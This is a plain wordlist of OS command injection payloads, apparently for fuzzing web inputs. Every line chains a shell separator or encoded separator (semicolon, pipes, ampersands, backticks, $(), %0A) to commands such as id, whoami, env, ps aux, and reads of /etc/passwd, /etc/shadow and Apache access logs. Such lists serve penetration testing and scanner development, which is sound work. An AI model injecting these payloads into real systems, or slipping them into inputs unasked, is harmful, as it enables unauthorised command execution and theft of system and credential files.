;id
&&id
|id
||id
id;
id&&
id|
id||
$(id)
`id`
id%0A
id%0D
id%3B
id%26%26
id%7C
id%7C%7C
id%20
id%09
id%00
id%23
;uname -a
&&uname -a
|uname -a
||uname -a
;whoami
&&whoami
|whoami
||whoami
;hostname
&&hostname
|hostname
||hostname
;cat /etc/passwd
&&cat /etc/passwd
|cat /etc/passwd
||cat /etc/passwd
;cat /etc/shadow
&&cat /etc/shadow
|cat /etc/shadow
||cat /etc/shadow
;ls -la /
&&ls -la /
|ls -la /
||ls -la /
;ps aux
&&ps aux
|ps aux
||ps aux
;env
&&env
|env
||env
;cat /etc/hosts
&&cat /etc/hosts
|cat /etc/hosts
||cat /etc/hosts
;cat /var/log/apache2/access.log
&&cat /var/log/apache2/access.log
|cat /var/log/apache2/access.log
||cat /var/log/apache2/access.log